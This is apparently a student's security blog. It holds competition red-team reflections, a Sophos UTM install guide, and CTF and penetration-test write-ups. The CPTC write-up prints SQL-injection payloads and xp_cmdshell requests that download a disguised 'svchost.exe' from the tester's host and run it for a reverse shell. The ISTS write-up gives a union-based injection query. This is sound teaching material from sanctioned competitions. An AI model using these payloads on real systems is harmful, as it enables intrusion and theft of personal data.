01 May 2016
Just a few weeks after red-teaming at Lockdown v0, I had the opportunity to follow up with my second red team experience at IRSeC this weekend! IRSeC (Incident Response Security Competition) is an annual cyber defense competition hosted by RIT’s Competitive Cybersecurity Club. The competition is geared towards beginners, with a focus on the incident response process. Emphasis is placed on how teams react to an intrusion and their ability to identify and report malicious activity.
Red/blue team interaction is crucial during IRSeC, and I was able internalize what I learned at Lockdown to improve as a red-teamer and facilitate a better learning environment overall. Talking things over with blue teams proved once again to be very helpful and important for learning. I picked up some new attacking and persistence techniques in preparation for the event as well.
In reflection, there are some important points to note for future competitions:
- Having a wide variety of persistence mechanisms is important.
When persisting on boxes during the competition, I wanted to use persistence mechanisms that teams would be able to discover due to the beginner nature of the competition. These included creating scheduled tasks, registry items, users, and services. However, some teams were more advanced than others, and were eventually able to detect and remove both the basic and advanced persistence mechanisms I used. It would have been advantageous to include several persistence techniques that are very difficult to discover in order to ensure access to teams after they think they’ve kicked me out.
- Get persistence accomplished right away.
In hindsight, I would have benefited from having a more prepared method of persisting. When teams started to discover my more basic methods of persistence, I was still fighting to establish a foothold on several boxes well into the competition. At that point, I wanted to be focusing on taking down services, exfiltrating PII, and messing with teams a bit. By establishing a wide range of persistence early on, I would have been in a more comfortable position to focus on other red team objectives.
- Be sure to take the entire infrastructure into account.
IRSeC’s network this year included several IP cameras that many red-teamers overlooked until later in the competition. These had really interesting attack vectors, and it would have been cool to get a foothold in them early on to pivot into the rest of the blue teams’ networks.
Overall, IRSeC was an awesome time, and it was great to be able to use what I learned from my previous red team experience just a few weeks later. A huge shout out goes to everyone who helped organize the event and stayed up overnight to make it happen. Looking forward to next year!
09 Apr 2016
I had the pleasure of red-teaming at Lockdown v0 today along with a crew of UB and RIT students. Lockdown is a cyber defense competition hosted by NetDef at the University at Buffalo that aims to ease beginners into cybersecurity competitions. In prior years, the event was a small internal event at UB, and this year it was scaled up to support more blue teams and teams from other schools. I had a ton of fun red-teaming and sharpening my exploitation and persistence skills. It felt great to share my knowledge with students who were eager to learn, and be a part of such a conducive environment. My take-away points from this event were:
- It’s important to keep the intended audience of the competition in mind.
Many of the students on the blue teams were in computing majors that didn’t involve security, and this was their first exposure to a security competition. Some students were from non-computing disciplines who were simply interested in learning more about security. Some of the red team’s attacks were too advanced for this level of competition, and overwhelmed some of the teams while they were trying to juggle injects and get acquainted in an unfamiliar environment.
- Meeting with the blue teams is super important.
When I went to visit some of the teams I had been attacking, they were relieved to have support while working through the problems they were facing. Many teams benefited from a walkthrough of security competition fundamentals such as changing passwords and auditing connections. Learning is the main goal of the event, and being available to explain things and answer questions is key for accomplishing it. It felt great to receive the question “how can I learn more about this stuff?”.
Huge props to UB for putting on such an awesome event! Scaling a competition like this is no easy task, and you pulled it off beautifully. I had an amazing time, and look forward to next year’s competition.
07 Mar 2016
This is a write-up for the Mega File web challenge during SPARSA’s ISTS 14.
Browsing to the IP given for the challenge (port 80) loaded the Mega File website:
I created an account and logged in, and was greeted with the site’s home page.
The ‘Choose Account’ dropdown menu only had one account, which was my own (#6). Attempting to tamper with the parameter and show the files of a different user did not yield any results.
Browsing to the Share Files tab, I was able to find other users by both name and ID, and had the option to share files with them. I found the admin user by searching for user 1 and clicked the Share button.
From there, I went back to the home page and changed the account parameter to 1. This listed the files in the admin’s account.
The contents of the files were as follows:
one of my workers told me that jim bought the debug pin code from slugworth on kittencoin. we should probably have one of the techs change that pin and we need to look into the kittencoin site to see if they shared the pin on there or not, better get it off of there so no one else can get it
Running a port scan on the IP revealed several other websites and services.
Browsing to port 8000 revealed the KittenCoin website.
I created an account and was greeted with KittenCoin’s home page.
The Lookup function allowed me to search for users by ID. I tried a basic SQL injection to enumerate all of the application’s users:
From there, I modified the SQL injection to get a better idea of the structure of the database. I started with the following injection to enumerate the tables, and columns within those tables, in the application:
1' union select table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'; #
This returned the following results:
I checked the values of the comments column in the transfers table to see if the PIN was stored there, and sure enough it was!
Now that I had the PIN, I moved on to the next website (port 8080). This site was a random number generator implemented in Flask.
Entering purposefully malformed data (such as a lower bound that’s higher than the upper bound) would bring up the Werkzeug debug page.
There was an option to open an interactive console, which was protected by a PIN.
Entering the PIN I just found on the KittenCoin site did the trick, and I now had a Python command shell!
I used the subprocess module to run OS commands and store the results in a variable. Running an “ls -a” in the default directory listed the following files:
The privkey file seemed fruitful, so I cat’ed the file to the output variable and printed it.
So now I have an RSA private key, which will probably come in useful later on. Moving on to the final website, I found a simple login page.
I was able to log in using the credentials from credentials.txt, and was greeted with the following message:
Switching to Kali, I base64 decoded the text and stored it in a file, and also stored the private key in a separate file. Using openssl, I decrypted the ciphertext with the private key which revealed the flag.
14 Feb 2016
Back in November, I was a member of the RIT team in the first ever Collegiate Penetration Testing Competition (CPTC). To read more about the event, check out this post. Given that this was the first year of the competition, there were a few compounding technical difficulties that led to a change of plans. Specifically, the infrastructure the competition was hosted on experienced some unpatched bugs that led to nonstop kernel panics, resulting in a backup infrastructure being deployed and used for the remainder of the competition. Due to the quick change of plans, the original intricately-designed infrastructure only saw the light of day for a few hours. The competition directors decided to re-open the infrastructure at a later date for teams to get the full intended experience of the competition.
This write-up details the path I took to breaching a data store in the competition network. Due to time constraints, I wasn’t able to discover all of the vulnerabilities available, so this write-up covers the progress I was able to make.
As part of our contract with the client, FinAck Government Industries, we were provided with a list of IP ranges and domains that would be in-scope for the test. Included in those ranges were the 172.22.16.0/24 and 172.22.17.0/24 networks and the fing.ov and ack.corp domains. The competition network was divided into the FinGov and AckCorp networks, with a few connections between them.
After running a port scan on the in-scope IPs, I discovered a web server on 172.22.16.2 (www.fing.ov) and the domain controller at 172.22.16.1 (ad-dc-01.fing.ov). The 172.22.17.0/24 network was inaccessible from my Kali box’s network position. Browsing to www.fing.ov revealed the company’s website.
The search function seemed like a promising target for SQL injection, but ended up not being functional. Continuing through the site, I found a careers page that uses an ‘id’ parameter to retrieve jobs.
The id parameter was SQL injectable:
After some prodding, I discovered the backend database was running MSSQL, and I could use xp_cmdshell to execute commands. To achieve a reverse shell on the database server, I created a binary payload using msfvenom.
Now I needed to get the binary on to the database server and run it. I spun up Apache on my Kali box to host the binary, and after some trial and error, used the following VBScript to download the file:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://172.25.4.28:9001/svchost.exe", False : xHttp.Send
with bStrm : .type = 1 : .open : .write xHttp.responseBody : .savetofile "C:\WINDOWS\Temp\svchost.exe", 2 : end with
The script needed to be sent to the database server by exploiting the SQL injection. I used xp_cmdshell to create the script, run it, and then run the downloaded binary. I sent the following requests to accomplish this:
172.22.16.2/careers.aspx?id=1; exec xp_cmdshell 'echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") : dim bStrm: Set bStrm = createobject("Adodb.Stream") : xHttp.Open "GET", "http://172.25.4.28:9001/svchost.exe", False : xHttp.Send : with bStrm : .type = 1 : .open : .write xHttp.responseBody : .savetofile "C:\WINDOWS\Temp\svchost.exe", 2 : end with > C:\WINDOWS\Temp\script.vbs' --
172.22.16.2/careers.aspx?id=1; exec xp_cmdshell 'cscript C:\WINDOWS\Temp\script.vbs' --
172.22.16.2/careers.aspx?id=1; exec xp_cmdshell 'C:\WINDOWS\Temp\svchost.exe' --
Soon enough, I had a reverse shell on the MSSQL server (webdb2.fing.ov)!
Going back to www.fing.ov, I decided to take another look at the exposed ports, and tested its Windows 2003 OS with MS08-067 and MS10-061 exploits. MS10-061 did the trick, and I was in to www.fing.ov with SYSTEM privileges. From www.fing.ov I was able to access the rest of the 172.22.17.0/24 network, and created a SOCKS proxy to tunnel traffic through the exploited web server. Using proxychains, I scanned the 172.22.17.0/24 network but didn’t find any further exploits. I went back to the web server and started picking through the web root until I found the database username and password in the source code of the careers page.
From there, I installed sql-cli on Kali and tunneled it through proxychains to log in to MSSQL. Poking through the database led me to the client_data table, where the SSNs, company names, phone numbers, and addresses of FinGov’s clients were stored.
This was as far as I was able to get on the infrastructure. If I had more time, I would have continued poking at the other machines on the 172.22.17.0/24 network and tried to escalate privileges on webdb2.fing.ov.
Participating in the CPTC was an awesome learning experience. Re-opening the infrastructure for a longer period of time allowed myself and my teammates to focus on the systems and learn on the fly without the pressure of the competition. Every time I sat down to pick up where I left off, I got a little bit further and walked away having learned something new. Looking forward to next year’s competition!
27 Dec 2015
One of my projects over the break was to install the free version of Sophos UTM and play around with its features a bit. Newegg has a convenient barebones PC with dual NICs that’s perfect for deploying firewalls. The only problem is UTM is intended to be installed using a CD, and the barebones PC doesn’t come with a CD drive. Many people prefer to install using a live USB, but getting it to work with UTM is a bit tricky. There were a lot of people having issues on the Astaro forums (Sophos UTM was formerly Astaro Security Gateway), so this post is my attempt to streamline the install process for the 2550L2D-MxPC.
I took the following steps to install:
- Download UTM from the Sophos support page. Make sure you download the software version (starts with ASG), not the hardware version.
- Write UTM to the USB drive. I used Rufus, but other programs do the job too.
- Eject the USB drive and insert it in the barebones PC.
- Power on the PC and tap Delete until the BIOS appears.
- Navigate to the Boot tab and rearrange the Boot Option Priorities so that ‘Generic Flash Disk’ is on top.
- Save and exit the BIOS. The system should boot into the UTM installer, press Enter.
- The introduction page will appear. Before starting with the installation, press Alt+F2 to bring up the console.
- Type ‘mount /dev/sdb1 /install’ and hit Enter.
- Press Alt+F1 to return to the installer. Continue with the installation as normal.
The mount command essentially puts the install files (on the USB) in the directory that UTM uses during the installation process. Once the files are in the /install directory, UTM will have no trouble locating the install files and proceeding with the installation. This fixed the “install.tar wasn’t found on the installation media” error that prevents the installation from completing.
When the installation is finished, eject the USB drive and reboot the machine. UTM is now loaded and ready to be configured.